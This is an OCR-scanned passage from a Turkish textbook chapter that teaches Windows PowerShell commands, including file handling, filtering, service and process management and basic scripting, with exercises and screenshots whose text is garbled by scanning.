PS C:\Users\lise_\OneDrive\Masalistii\Uygulamalar\Yedek> Clear-Content '.\Kkonu listesi.txt'
PS C:\Users\lise_\OneDrive\Masalistii\Uygulamalar\Yedek> Get-Content '.\konu listesi.txt'
PS C:\Users\lise_\OneDrive\Masalistii\Uygulamalar\Yedek> Remove-Item '.\konu listesi.txt’
PS C:\Users\lise_\OneDrive\Masalistii\Uygulamalar\Yedek> dir

Directory: C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar\Yedek
Mode LastWriteTime Length Name
-3——— 20.08.2023 82:11 0 konular.txt

Gorsel 4.202: Move-ltem, Clear-Content ve Remove-Item komutlarinin kullanimi

S
E i Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

e PowerShell penceresini yonetici olarak ¢alistiriniz.

e Bulundugunuz klasérde New-Item komutunu kullanarak Araglar isimli bir klasor olusturunuz.
e Set-Location komutunu kullanarak Araglar klasériine geginiz.

e New-Iltem komutunu kullanarak Adli Bilisim.txt isimli bir dosya olusturunuz.

e Set-Content komutunu kullanarak Adli Bilisim.txt dosyasina icerik atayiniz.

e Get-Content komutunu kullanarak Adli Bilisim.txt dosyasl icerigini konsola yazdiriniz.
e Move-Iltem komutunu kullanarak Adli Bilisim.txt dosyasini bir Ust dizine tasiyiniz.

e Rename-ltem komutunu kullanarak Adli Bilisim.txt dosyasini Forensic.txt olarak yeniden adlan-
diriniz.

e Remove-ltem komutunu kullanarak Forensic.txt dosyasini siliniz.
e Test-Path komutunu kullanarak Forensic.txt dosyasinin varhigini kontrol ediniz.



Gelismis islemler ile ilgili komutlar ve acgiklamalari Tablo 4.26°da verilmistir.
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Tablo 4.26: Gelismis islemler icin Kullanilan PowerShell Komutlari

Komut Agiklama

Where-Object

Bir komutun c¢iktisini belirli 6zelliklere gore filtrelemek igin kullanilir.
Bu komut genellikle “|” karakterinden sonra kullanilir. Where-Object
komutunun kisaltmasi “?” karakteridir.

ForEach-Object

Bir koleksiyonun her bir ogesi Uzerinde islem yapmak icin kullanilir.
ForEach-Object komutunun kisaltmasi “%” karakteridir.

Get-Unique

Siralanmis bir koleksiyondaki yinelenen 6geleri ¢ikarip benzersiz dgeleri
dondirmek igin kullanilir.

Select-Object

Bir koleksiyondaki belirli 6zellikleri veya siitunlari se¢mek icin kullantlir.

Sort-Object

Koleksiyonlari belirli 6zelliklere gére siralamak igin kullantlir.

Compare-Object

iki farkli koleksiyonu veya dosyayi karsilastirmak icin kullanilir.

Write-Output

Veriyi bir sonraki komuta aktarmak veya goriintiilemek amaciyla kullantlir.
Ciktiyr baska bir komut tarafindan kullanilacak sekilde isler.

Get-FileHash

Dosyanin hash bilgisini 6grenmek igin kullantlir.

ConvertTo-Html

Bir komutun giktisint HTML bigimine dénistiirmek igin kullanilir. Rapor
olusturmak igin tercih edilir.

ConvertTo-Json

Bir komutun ¢iktisini JSON bigimine donistirmek icin kullanilir.

ConvertTo-Csv

Bir komutun g¢iktisini CSV bigimine donistirmek igin kullanilir.

Compress-Archive

Sikistirllmis dosya olusturmak icin kullanilir.

Expand-Archive

Sikistirilmis dosya icerigini ¢cikartmak icin kullanilir.

Read-Host Konsol ekraninda kullanicidan girdi almak icin kullantlir.

Write-Host Belirtilen metin veya degiskeni konsol ekranina yazdirmak igin kullanilir.
Clear-Host Konsol ekranini temizlemek igin kullanilir.

Get-History Gecerli oturumdaki komut gecmisini goriinttilemek icin kullanilir.

Clear-History

Komut ge¢misini silmek icin kullanilir.

Invoke-History

Komut ge¢misindeki bir komutu calistirmak icin kullanihr.

Tanimli olan tim takma adlar listelemek icin kullanilir. Takma adlar,
komutlarin kisayollaridir.

Get-Alias . . . . .
Ornegin Get-Childltem komutunun yerine Is, gci ve dir takma adlari
kullanilabilir.

New-Alias Bir komuta yeni takma ad vermek i¢in kullanihr.

Set-Alias Belirli bir komutun takma adini degistirmek icin kullanilr.

33. UYGULAMA

Gelismis islemler ile ilgili komutlarin kullanimini asagidaki adimlar
dogrultusunda gerceklestiriniz.

1. Adim: PowerShell penceresini yonetici olarak calistiriniz.
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2. Adim: Komut tipi Alias olan komutlari filtrelemek igin komut satirina Get-Command | Where-Object

{$_.CommandType -eq “Alias”} yaziniz (Gorsel 4.203).

CommandType Name

Alias Add-AppPackage

Alias Add-AppPackageVolume

Alias Add-AppProvisionedPackage

Alias Add-ProvisionedAppPackage

Alias Add-ProvisionedAppSharedPackageContainer
Alias Add-ProvisionedAppxPackage

PS C:\Users\lise_> Get-Command | Where-Object {$_.CommandType -eq "Alias"}

Version Source

2.0.1.0 Appx
2.0.1.6 Appx
3.0 Dism
3.0 Dism
3.0 Dism
3.0 Dism

3. Adim: Komut adi Process ile biten komutlari filtrelemek igin komut satirina Get-Command | Where-
Object {$_.Name -like “*Process”} yaziniz (Gorsel 4.204).

Gorsel 4.203: Where-Object komutu ile filtreleme islemi

Function
Function
Cmdlet
Cmdlet
Cmdlet
Cmdlet
Cmdlet
Cmdlet
Cmdlet

CommandType Name

Get-AppvVirtualProcess
Start-AppvVirtualProcess
Debug-Process
Enter-PSHostProcess
Exit-PSHostProcess
Get-Process
Start-Process
Stop-Process
Wait-Process

PS C:\Users\lise_> Get-Command | Where-Object {$_.MName -like "*Process"

Version Source

1.0.0.0 AppvClient
1.8.8.8 AppvClient
3.1.8.8 Microsoft.
3.60.0.0 Microsoft.
3.0.0.0 Microsoft.
3.1.0.8 Microsoft.
3.1.0.0 Microsoft,
3.1.0.0 Microsoft,
3.1.6.0 Microsoft.

Power$
Powers
PowerS|
PowerH
Powers3
Power§
PowerH

Gorsel 4.204: Where-Object komutu ile filtreleme isleminde like parametresinin kullanimi

4. Adim: Write-Host komutunu kullanarak konsola bir mesaj yazdiriniz.

5. Adim: ForEach-Object komutunu kullanarak 1.Ders, 2.Ders, 3.Ders, 4.Ders ve 5.Ders klasorlerini

ardisik olarak olusturunuz (Gorsel 4.205).

6. Adim: Bir not defteri dosyasi acip icine alt alta olacak sekilde Python, C, Golang, Csharp, Php, R,
Kotlin, Dart, Java, Ruby, Ada ve Rust programlama dillerini yazarak Dosyayi Diller adiyla Masalistii

PS C:\Users\lise_> Write-Host "Bu komut belirtilen mesaji konsola yazar"

Bu komut belirtilen mesaji konsola yazar
PS C:\Users\lise_>

PS C:\Users\lise_> 1..5 | ForEach-Object {mkdir $_".Ders"}

Directory: C:\Usersi\lise_

Mode LastWriteTime
] 20.08.2023 15:10
== 20.08.2023 15:10
=== 20.08.2023 15:18
d==——= 20.08.2023 15:10
== 20.08.2023 15:18

Length Name

.Ders
.Ders
.Ders
.Ders
.Ders

Gorsel 4.211: Write-Host ve ForEach-Object komutlarinin kullanimi

klasoriine kaydediniz.
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7. Adim: Sort-Object komutunu kullanarak, Diller.txt dosyasi icerigini alfabetik olarak artan sekilde
siralayiniz (Gorsel 4.206).

PS C:\Users\lise_\OneDrive\Masalistii> Get—Content .\Diller.txt | Sort-Object
Ada

C
Csharp
Dart
Golang
Java
Kotlin
Php
Python
R

Ruby
Rust

Gorsel 4.206: Sort-Object komutu ile siralama islemi

8. Adim: Komut satirina cd / yazarak kok dizine geciniz ve Select-Object komutunu kullanarak PowerS-
hell’de kullanilan komut tiplerini seginiz.

9. Adim: Secilen komut tiplerini Get-Unique komutuna yoénlendirerek benzersiz sekilde listeleyiniz
(Gorsel 4.207).

PS C:\> Get-Command | Select-Object -ExpandProperty CommandType | Get-Unique
Alias

Function

Cmdlet

Gorsel 4.207: Select-Object ve Get-Unique komutlarinin kullanimi

10. Adim: Sort-Object komutunu kullanarak belirtilen sayilari bliylikten kiiglige azalan sekilde siralayiniz
(Gorsel 4.208).

PS C:\> 100,3,54,7,105,6,1,25 | Sort-Object -Descending
105

106

sy

25

i

6
3
1

Gorsel 4.208: Sort-Object komutunu kullanarak azalan siralama

11. Adim: Masalstu klasériine gegip Masalsti klasoriinde bulunan Diller.txt dosyasinin ilk g satirini
gorintileyiniz (Gorsel 4.209).

PS C:\> cd .\Users\lise_\OneDrive\Masalisti\

PS C:\Users\lise_\OneDrive\Masaiistli> Get-Content .\Diller.txt | Select-Object -First 3
Python

(&

Golang

Gorsel 4.209: Select-Object komutunun First parametresinin kullanimi
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12. Adim: Get-FileHash komutunu kullanarak Diller.txt dosyasinin MD5 hash bilgisini gortntileyiniz
(Gorsel 4.210).

PS C:\Users\lise_\OneDrive\Masaiistii> Get-FileHash —Algorithm MD5 .\Diller.txt

Algorithm Hash

MD5 28E009637B3U5BD399863U7BU2CDIFCY

Gorsel 4.210: Get-FileHash komutunun kullanimi

13. Adim: Compress-Archive komutunu kullanarak Diller.txt dosyasini sikistiriniz (Gorsel 4.211).

PS C:\Users\lise_\OneDrive\Masaiistii> Compress—Archive .\Diller.txt -DestinationPath Diller.zip
PS C:\Users\lise_\OneDrive\Masalistii> Get-ChildItem .\Diller.zip

Directory: C:\Users\lise_\OneDrive\Masaiistii

Mode LastWriteTime Length Name

o i 20.08.2023 16:51 182 Diller.zip

Gorsel 4.211: Compress-Archive komutunun kullanimi

14. Adim: ConvertTo-Html komutunu kullanarak C: dizini ayrintilarint HTML dosyasi biciminde
olusturunuz (Gorsel 4.212).

PS C:\> dir | ConvertTo-Html > kokdizin.html
PS C:\> 1ls .\kokdizin.html
Directory: C:\
Mode LastWriteTime Length Name

=i 20.08.2023 17:07 10966 kokdizin.html

Gorsel 4.212: ConvertTo-Html komutunun kullanimi

15. Adim: Read-Host komutu ile girdi alip Write-Host komutu ile girdiyi konsola yazdiriniz (Gérsel 4.213).

PS C:\> $isim = Read-Host "Adinizi giriniz"
Adinizi giriniz: Mustafa

PS C:\> Write—-Host "Merhaba $isim"

Merhaba Mustafa

PS C:\>

Gorsel 4.213: Read-Host ve Write-Host komutlarinin kullanimi

16. Adim: New-Alias komutunu kullanarak Clear-Host komutuna yeni bir takma ad olusturunuz ve Get-
Alias komutu ile takma adi kontrol ediniz.

17. Adim: Konsola temizle yazarak ekranin temizlendigini dogrulayiniz (Gorsel 4.214).

PS C:\> New-Alias —Name temizle -Value Clear-Host
PS C:\> Get-Alias —-Name temizle

CommandType Name

Alias temizle -> Clear-Host

Gorsel 4.214: New-Alias ve Get-Alias komutlarinin kullanimi
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SIRA

J sizo |

Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

e PowerShell penceresini yonetici olarak calistiriniz.

e Compare-Object komutunu kullanarak iki dosyayi karsilastiriniz.

Expand-Archive komutunu kullanarak sikistirilmis bir dosyayi aginiz.
Get-History komutunu kullanarak komut ge¢cmisini gortntuleyiniz.
15,34,16,41,34,16,41,26 | Get-Unique ile 15,34,16,41,34,16,41,26 | Sort-Object | Get-Unique ko-

mutlarini sirasiyla galistiriniz ve giktilardaki farki yorumlayiniz.

e 1,2,3 | ForEach-Object -Process {$_*$_} komutunu calistirip ¢ciktiyi inceleyiniz.

e Komut satirinda Get-History | Where-Object {$_.CommandLine -like “*alias*”} komutunu calistirip

ciktiyi inceleyiniz.

° llu

nn.nn_nn. . nn

lylglul

”nn n n_n

a”,”m”,”a” | Select-Object -Unique komutunu calistirip giktiyr inceleyiniz.

Yonetim ve sistem islemleri ile ilgili komutlar ve aciklamalari Tablo 4.27’de verilmistir.

Tablo 4.27: Yonetim ve Sistem islemleri icin Kullanilan PowerShell Komutlari

Komut Agiklama

Restart-Computer

Bilgisayari yeniden baglatmak igin kullanilir.

Stop-Computer

Bilgisayari kapatmak icin kullanihr.

Get-Service

Sistemde ¢alisan servisleri gorintilemek icin kullanilir.

Start-Service

Servisi baslatmak icin kullanilir.

Stop-Service

Servisi durdurmak icin kullanilir.

Restart-Service

Servisi yeniden baglatmak igin kullanihr.

Get-Process

Sistemde caligan suregleri listelemek igin kullanihr.

Stop-Process

Sistemde calisan siiregleri sonlandirmak icin kullanihr.

Set-Date Sistem tarihini ve saatini ayarlamak icin kullanilir.
Get-Date Sistemin tarih ve saat bilgisini almak i¢in kullanilir.
Get-Member Komutun 6zelliklerini ve metotlarini gostermek igin kullanihr.

Set-ExecutionPolicy

PowerShell komut dosyalarinin yuriutme ilkesini ayarlamak igin kullanilir. Bu
komut ile komut dosyalarinin giivenlik seviyesi ayarlanarak, kodun gahstirilip
cahistirllmayacagina karar verilir.

Get-ExecutionPolicy

PowerShell komut dosyalarinin yiritme ilkesini 6grenmek icin kullanilir.

Get-Computerinfo

isletim sistemi, donanim &zellikleri ve BIOS detaylari hakkinda bilgi almak igin
kullanilir.

Get-LocalUser

Yerel kullanicilari listelemek igin kullanihr.

Get-LocalGroup

Yerel gruplari listelemek igin kullanilir.

Get-LocalGroupMember

Yerel grubun kullanicilarini listelemek icin kullanilir.

Get-EventlLog

Olay ginliiklerinde bulunan olaylari listelemek icin kullanilir.

Get-WindowsDriver

Aygit siriculerini listelemek igin kullanihr.

Get-NetIPConfiguration

Ag bagdastiricilarini ve IP yapilandirmalarini gértintilemek icin kullanilir.

Get-DnsClientCache

Bilgisayarin DNS 6nbelleginde bulunan kayitlari listelemek icin kullanilr.
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34. UYGULAMA

Yonetim ve sistem islemleriile ilgili komutlarin kullanimini asagidaki

adimlar dogrultusunda gergeklestiriniz.

1. Adim: PowerShell penceresini yonetici olarak ¢alistiriniz.

2. Adim: Get-Date komutunu kullanarak tarih ve saat bilgisini gorlintuleyiniz (Gorsel 4.215).

PS C:\> Get-Date

20 Agustos 2023 Pazar 23:27:33

Gorsel 4.215: Get-Date komutunun kullanimi

3. Adim: Get-Service komutunu kullanarak hizmetleri goriintlleyiniz (Gorsel 4.216).

Status

Running
Running
Stopped
Stopped
Stopped
Stopped
Stopped
Running
Running

PS C:\> Get-Service

Name

AarSvc_u45062

DisplayName

Agent Activation Runtime_U5062

AJRouter AllJdoyn Yonlendirici Hizmeti

ALG Uygulama Katmani A§ Gegidi Hizmeti
AppIDSvc Uygulama Kimligi

Appinfo Uygulama Bilgileri

AppMgmt Uygulama Yoénetimi

AppReadiness Uygulama Hazir Olma Durumu
AppVClient Microsoft App-V Client

AppXSvc AppX Dagaitam Hizmeti (AppXSVC)
AssignedAccessM... AssignedAccessManager Hizmeti
AudioEndpointBu. .. Windows Ses Bitis Noktasi Olusturucu
Audiosrv Windows Ses

4. Adim: Stop-Service komutunu kullanarak Ifsvc cografi konum hizmetini sonlandiriniz ve komut satirina
Get-Service | Where-Object {S_.Name -eq “Ifsvc”} yazarak hizmetin durduruldugunu dogrulayiniz

(Gorsel 4.217).

Gorsel 4.216: Get-Service komutu ile hizmetlerin listelenmesi

Status

PS C:\> Stop-Service lfsvc
PS C:\> Get-Service | Where-Object {$_.Name -eq "lfsvc"}

Name

Stopped 1lfsvc

DisplayName

Cografi Konum Hizmeti

Gorsel 4.217: Stop-Service komutunun kullanimi ve hizmetin filtrelenmesi

5. Adim: Start-Service komutunu kullanarak Ifsvc cografi konum hizmetini baslatiniz ve komut satirina
Get-Service | Where-Object {$_.Name -eq “Ifsvc”} yazarak hizmetin ¢alishgini dogrulayiniz (Gérsel

4.218).

Status

Name

Running 1fsvc

PS C:\>» Start-Service lfsvc
PS C:\> Get-Service | Where-Object {$_.Name —eq "1lfsvc"}

DisplayName

Cografi Konum Hizmeti

Gorsel 4.218: Start-Service komutunun kullanimi ve hizmetin filtrelenmesi
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6. Adim: Get-NetIPConfiguration komutunu kullanarak IP yapilandirmalarini gériintileyiniz (Gorsel
4.219).

PS C:\> Get-NetIPConfiguration

InterfaceAlias : Ethernet

InterfaceIndex 3 13

InterfaceDescription : Intel(R) PRO/1000@ MT Desktop Adapter
NetProfile.Name : Ag

IPvUAddress : 10.0.2.100

IPvéDefaultGateway

IPvUdDefaultGateway 3 10:9.2:2

DNSServer : 8.8.8.8

Gorsel 4.219: IP yapilandirmalarini listeleme

7. Adim: Get-Process komutunu kullanarak sistemde ¢alisan stiregleri listeleyiniz (Gorsel 4.220).

PS C:\> Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcesshName
144 10 1968 9816 @,53 3432 @ AggregatorHost
363 22 20788 44pe20e @,67 4348 1 ApplicationFrameHost
230 12 7412 13980 2,34 2728 0 audiodg
491 20 1812 6260 1,52 580 @ csrss
493 22 2376 6348 15,27 672 1 csrss
456 18 4936 23596 8,08 65604 1 ctfmon
122 =] 1308 7536 8,22 2652 1 dllhost

Gorsel 4.220: Get-Process komutunu kullanarak sistemde ¢alisan siregleri listeleme

8. Adim: Get-Process | Get-Member komutunu kullanarak Get-Process komutunun ozelliklerini ve
metotlarini gérlintuleyiniz (Gorsel 4.221).

PS C:\> Get-Process | Get-Member

TypeName: System.Diagnostics.Process
Name MemberType Definition
Handles AliasProperty Handles = Handlecount
Name AliasProperty Name = ProcessName
NPM AliasProperty NPM = NonpagedSystemMemorySize6d
PM AliasProperty PM = PagedMemorySize6d
SI AliasProperty SI = SessionId
VM AliasProperty VM = VirtualMemorySizeéu
ws AliasProperty WS = WorkingSet6u
BeginErrorReadLine Method void BeginErrorReadlLine()
BeginOutputReadLine Method void BeginOutputReadLine()
CancelErrorRead Method void CancelErrorRead()
CancelOutputRead Method void CancelOutputRead()
Close Method void Close()

Gorsel 4.221: Get-Member komutunun kullanimi
9. Adim: Hesap makinesi uygulamasini galistiriniz (Calistirmak igin komut satirina calc yaziniz.).

10. Adim: Get-Process | Where-Object {$_.Name -like “calc*”} komutunu kullanip, hesap makinesi
surecini gortntileyerek Id degerini not aliniz (Goérsel 4.222).

PS C:\> Get-Process | Where-Object {$_.Name -like "calcx"}
Handles NPM(K) PM(K) WS(K) CPU(s) Id | SI ProcessName

586 U5 24256 64532 0,55 | 5220 | 1 CalculatorApp

Gorsel 4.222: Hesap makinesi siirecinin filtrelenmesi
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11. Adim: Stop-Process komutuyla not aldiginiz Id degerini kullanip, hesap makinesi sirecini
sonlandirarak stirecinin sonlandigini dogrulayiniz (Gorsel 4.223).

PS C:\> Stop—-Process -Id 5220
PS C:\> Get-Process | Where-Object {$_.Name -like "calcx"}
PS C:\>

Gorsel 4.223: Hesap makinesi siirecini sonlandirma

12. Adim: Get-LocalUser | Select-Object -Property Name komutunu kullanarak yerel kullanicr isimlerini
listeleyiniz (Gorsel 4.224).

PS C:\> Get-LocalUser | Select-Object —Property Name

Name

Administrator

akif

Guest

lise_
VarsayilanHesap
WDAGUtilityAccount

Gorsel 4.224: Yerel kullanici isimlerini listeleme

13. Adim: Get-LocalGroup | Select-Object -Property Name komutunu kullanarak yerel grup isimlerini
listeleyiniz (Gorsel 4.225).

PS C:\> Get-LocalGroup | Select-Object -Property Name

Name

Administrators

Backup Operators

Cihaz Sahipleri
Cryptographic Operators
Distributed COM Users

Gorsel 4.225: Yerel grup isimlerini listeleme

14. Adim: Get-EventLog komutunu kullanarak log adi Application olan son bes olayin tipini ve kaynagini
listeleyiniz (Gorsel 4.226).

PS C:\> Get-EventLog —LogName Application -Newest 5 | Select-Object EntryType,Source

EntryType Source

Information edgeupdate

Information Software Protection Platform Service
Information Software Protection Platform Service
Information Software Protection Platform Service
Information Software Protection Platform Service

Gorsel 4.226: Olay glinliginden son olaylari 6grenme
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15. Adim: Get-EventlLog -List komutunu kullanarak log tiplerini ve kayit sayilarini listeleyiniz (Gorsel
4.227).

PS C:\> Get-EventlLog -List
Max(K) Retain OverflowAction Entries Log
20.480 ® OverwriteAsNeeded 998 Application
20.480 @ OverwriteAsNeeded 0@ HardwareEvents
512 7 OverwriteOlder 0 Internet Explorer
20.480 0@ OverwriteAsNeeded 0 Key Management Service
20.480 O OverwriteAsNeeded 36.649 Security
20.480 @ OverwriteAsNeeded 2.504 System
15.360 0@ OverwriteAsNeeded 313 Windows PowerShell

Gorsel 4.227: Get-EventLog komutu ile List parametresinin kullanimi

Get-Process komutu ile c¢alisan siregler tablo seklinde listelenir. Tablodaki
Handles, NPM(K), PM(K), WS(K), CPU(s) ve SI sltunlari hakkinda arastirma
yapiniz. Arastirma sonucunuzu arkadaslariniz ve 6gretmeninizle paylasiniz.

QE — Asagida maddeler halinde verilen islemleri cihazinizda gergeklestiriniz.

e PowerShell penceresini yonetici olarak ¢alistiriniz.

e Get-DnsClientCache komutunu kullanarak DNS 6nbelleginde bulunan kayitlari listeleyiniz.
e Get-LocalGroupMember komutunu kullanarak Users grubunun kullanicilarini listeleyiniz.

e Get-EventlLog -LogName Security | Out-GridView komutunu kullanarak Security log detaylarini
inceleyiniz.

(Get-LocalGroup).Count komutunu ¢alistirip ¢iktiyl yorumlayiniz.

(Get-Service *event*).Name komutunu calistirip ¢iktiyi yorumlayiniz.

(Get-Process | Select -Last 5).ProcessName komutunu calistirip ¢iktiyr yorumlayiniz.

(Get-Process | Sort-Object Id) | Select-Object -First 10 komutunu galistirip ¢iktiyr yorumlayiniz.

e Siireg (Process) bir programin galistirilabilir her bir 6rnegini ifade eder. Her cali- =
san uygulama bilgisayarin belleginde bir slire¢ olarak temsil edilir. “01

e Hizmet (Service) bilgisayarin arka planinda calisan ve kullanici arayiiziinde goriin- =

meyen uygulamalari ifade eder. Sistem diizeyinde islevlerin yiritilmesini saglar.

4.1.9.2. PowerShell ISE ile Temel Betik Programlama

PowerShell’in ISE kod editoriinde betik dil kullanilarak isletim sistemindeki bir¢cok islem otomatik hale
getirilebilir. Bu islemleri otomatik hale getirmek icin ISE kod editoru ile psl uzantil betik dosyalari
olusturulur. Olusturulan betik dosyalari istenen zamanda diizenlenebilir ve ¢alistirilabilir.
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PowerShell ISE kod editorinl agmak icin gorev cubugunda bulunan Baglat mendistine tiklanir. Arama
cubuguna ISE yazilir. Arama sonucunda ¢ikan Windows PowerShell ISE uygulamasina tiklanarak editor
actlir (Gorsel 4.228).

=
File Edit View Tools Debug Add-ons Help
il a » m = | 8 | By & (e .
Untitted1.ps1 X ~ Commands X x
1

Modules: | All | |Rufrech

Name

Betik Alani .1 e ——

> show-command

Add-Content
Add:

Komut Alani

Completed Ln3 Col 20 100%

Gorsel 4.228: PowerShell ISE editori

Editdrde yazilan tiim betigi calisirmak icin ara¢ cubugunda bulunan Run Script (F5) butonu tiklanir. ih-
tiyac duyulmasi halinde sadece betigin secili bir bolimu de calistirilabilir. Bunun icin ara¢ cubugundaki
Run Selection (F8) butonu kullantlir.

Betik alaninda Write-Host “ilk betik dosyam” kod pargasi yazilir. Betik dosyasi ilkBetik.ps1 olarak
masaustine kaydedilir. Yazilan betik, F5 tusu ile ¢alistirildigl zaman konsol alaninda “File ... cannot be
loaded because running scripts is disabled on this system.” hata mesaji ile karsilasilir (Gorsel 4.229).

(>
File Edit View Took Debug Add-ons Melp
H o » mie |8 B=o M [x] .
kBetikps! X & Commands X x
1 Write-Host "ilk betik dosyam"

PS C:\User i \OneDrive\Masaiisti> C:\Users\1lise_\OneDrive\Masaistii\ilkBetik.psl
Fi C:\Us e_\Dne i 1kBe annot be 1 ed
1 ation,
tainseErro

1lifiedeErrorid : Unauthorized

PS C:\Users\lise_\OneDrive\Masalsti>

Completed Ln3 Col41

Gorsel 4.229: Hata mesajl

Varsayilanda sistem tarafindan PowerShell betik dosyalarinin galistiriimasina izin verilmez. Bu
nedenle betik dosyalarinin ¢alistiriimasi icin gerekli izin verilmelidir. Betik dosyalarinin ¢alistiriimasina
izin vermek icin PowerShell yonetici olarak calistirilir. Komut satirina Set-ExecutionPolicy -Scope
CurrentUser -ExecutionPolicy RemoteSigned komutu yazilarak Enter tusuna basilir. Bu komutla yerel
olarak olusturulan tim PowerShell betik dosyalarinin ¢alismasina izin verilir (Gorsel 4.230).
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¥ Administrator: Windows Pow %

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\lise_
PS C:\Users\lise_

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned

>
>

Gorsel 4.230: Betik dosyasi ylritme ilkesinin ayarlanmasi
Betik dosyasi tekrar ¢alistirildiginda konsol alanina “ilk betik dosyam” metni yazdirilir (Gérsel 4.231).

a2
File Edit View Took Debug Add-ons Melp
=] o » ) y L I 5l O @
ikBetikpsl X & Commands X x

1 write-Host "ilk betik dosyam"

=

Ps c:\Users\lise_\oneDrive\Masalsti> C:\Users\1lise_\oOneDrive\Masailsti\ilkBetik.ps
i1k betik dosyam

PS C:\Users\lise_\OneDrive\Masailsti>

Completed In4 Col38 5%

Gorsel 4.231: Betigin calistiriimasi

Komut satirina masadstu klasoriindeyken .\ilkBetik.ps1 yazilir. Enter tusuna basilarak betik dosyasi
calistirilir (Gorsel 4.232).

E¥ Administrator: Windows Pown %

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https:
//aka.ms/PSWindows

PS C:\Users\lise_> cd .\OneDrive\Masaiistii\

PS C:\Users\lise_\OneDrive\Masalisti> .\ilkBetik.psl «——
Ilk betik dosyam

PS C:\Users\lise_\OneDrive\Masalisti>

Gorsel 4.232: Komut satirindan betik dosyasi ¢alistirma

PowerShell betik dili ¢esitli programlama yapilari sunar. PowerShell’de kullanilan temel programlama
yapilari sunlardir:

e Degiskenler e Operatorler e Kosul ifadeleri
e Dongller ¢ Fonksiyonlar
Degiskenler: Verileri saklamak icin kullanilir. Degiskenler metin, sayi, tarih-saat, dizi, nesne gibi veri

tarlerindeki degerleri saklayabilir. PowerShell betik dilinde degiskenler $ isareti ile tanimlanir. Degisken
tanimlarken veri tird belirtme zorunlulugu yoktur. Degiskenin veri tird, bir deger atandiginda otomatik
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olarak aya.rlanlt.. Or.negin. Gérs.el 4;23.3'daki Powershell Kodu — 0O X
kod dersAdi degiskenine bir metin degeri atar. . . ) o
PowerShell, dersAdi degiskeninin veri tlrini $dersAdi = "Sistem Guvenligti
string olarak ayarlar. Gorsel 4.233: Veri turi belirtmeden degisken

t |
Karmasik betiklerde hata ayiklamayikolaylastirmak animiama
:;ev-kidu| d-aha (:)ktu.!‘la"bl!'lr Ea:?ﬁlgehrrn?k |f;||‘n BowerShell Kodu — Y
egiskenlerin veri tlrinin belirtilmesi o6nerilir. . . . R
e = "Sistem Gilivenlic
Ornegin Gorsel 4.234’taki dersAdi degiskeni [stringlsdersAdt it b

tanimlanirken veri tiirG string olarak belirtilmistir.  Gérsel 4.234: Veri tiirii belirterek degisken tanimlama
PowerShell betik dilinde tam sayilar icin int,

metinler icin string, kayan noktali sayilar igin

single ve double, tek karakterler icin char, tarih ve saat bilgileri icin datetime veri tirleri kullanihr.

PowerShell betik dilinde kullanilmayan bir degiskenin igini bosaltmak icin $null (9

degiskeni kullanilir. Ornek olarak SdersAdi = $null verilebilir. Bu tanimlama sonrasi 01
v . . cu. v . \ “

degisken igerigi ekrana yazdirildiginda bos ¢ikt verir. \ -

Operatorler: Degiskenler ile islemler gerceklestirmek igin kullanilir. PowerShell betik dilinde yaygin
olarak kullanilan operatorler Tablo 4.28’de verilmistir.

Tablo 4.28: PowerShell Operatorleri

Aritmetik Karsilagtirma Mantiksal Atama
Operatoérler Operatorleri Operatorler Operatorleri
+ Toplama -eq Esittir -and Ve = Basit atama
- Cikarma -ne Esit degildir -or Veya += Eklemeli atama
* Carpma -It Kuguktur -not Degil -= Cikarmali atama
/ Bdlme -le Kuglk veya esittir
% Kalan bulma -gt Blyuktar
-ge Bulyk veya esittir

Kosul ifadeleri: Belirli bir kosulu kontrol etmek ve buna gére farkliislemler gerceklestirmek icin kullanilir.
PowerShell’de if ve switch programlama yapilari kullanilarak kosullu ifadeler olusturulur. If-elseif-else
kosul ifadelerinin 6rnek kullanimi Gorsel 4.235’de verilmistir.

Switch kosul ifadesinin 6rnek kullanimi Gorsel 4.236’de verilmistir.

PowerShell Kodu . PowerShell Kodu
[int])$sayi = Read-Host "Sayiyl giriniz" [stringl$komut = Read-Host "Temel Linux komutunu giriniz®
switch ($komut)
if ($sayi =gt 0) { {
Write-Host "Sayi: Pozitif" 'Dizi ler."}
} elseif ($sayi -1t 0) { "Dizi is yapar."}
Write-Host "Sayi: Negatif" "Dosya
Ty Dizin
E el.b.‘-. g ; = = ne it SR *Dosya - konsola yazar."}
WELLe=R0ST SRYL:SNALT Host "Bu komutun girevini bilmiyorum.™}
¥ ¥
Gorsel 4.235: if-elseif-else kosul ifadelerinin 6r- Gorsel 4.236: Switch kosul ifadesinin 6rnek kullanimi
nek kullanimi

188
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Doéngiiler: Bir islemi belirli bir sayida veya kosul saglandigi middetge tekrarlamak icin kullanilir. Tekrarh
ifadeler olarak da adlandirilir. PowerShell’de for, foreach, while ve do-while programlama yapilari
kullanilarak tekrarli ifadeler olusturulur. Tekrarl ifadelerin yapisal bicimleri Tablo 4.29’da verilmistir.

Tablo 4.29: Dongiilerin Yapisal Bigimleri

For Dongilisii

Foreach Dongiisii

for (baslangic degeri; kosul ; degisim miktari)
{

islemler

foreach (degisken in dizi)
{

islemler

}
dizi | % { islemler}

While Dongiisii

Do While Dongiisii

denetim degiskeni = baslangic degeri
while (kosul)
{ .

Islemler

denetim degiskeni += degisim miktari

denetim degiskeni = baslangic degeri

do
{ .
Islemler
denetim degiskeni = degisim miktari
}
while (kosul)

For donguistinlin 6rnek kullanimi Gorsel 4.237’te verilmistir.

Foreach donglsunin 6rnek kullanimi Gorsel 4.238'te verilmistir. # karakteri ile baslayan satir, agciklama

yapmak i¢in kullanilmistir.

PowerShell Kodu

for ($i=1; $1i -le 5; $i++)
{

New-Item "Dosya$i.txt" -ItemType File
h

Gorsel 4.237: For dongisiiniin
ornek kullanimi

W PowerShell Kodu
$n = 10
foreach (%$sayi in 1..%n)
{
rit Ho n\_,fi
}
1..%n | % { Write-Host 3_}

Gorsel 4.238: Foreach déngisiiniin
ornek kullanimi

While dongusiiniin 6rnek kullanimi Gorsel 4.239’te verilmistir.

Do While déngistiniin 6rnek kullanimi Gorsel 4.240’da verilmistir.

PowerShell Kodu — O x
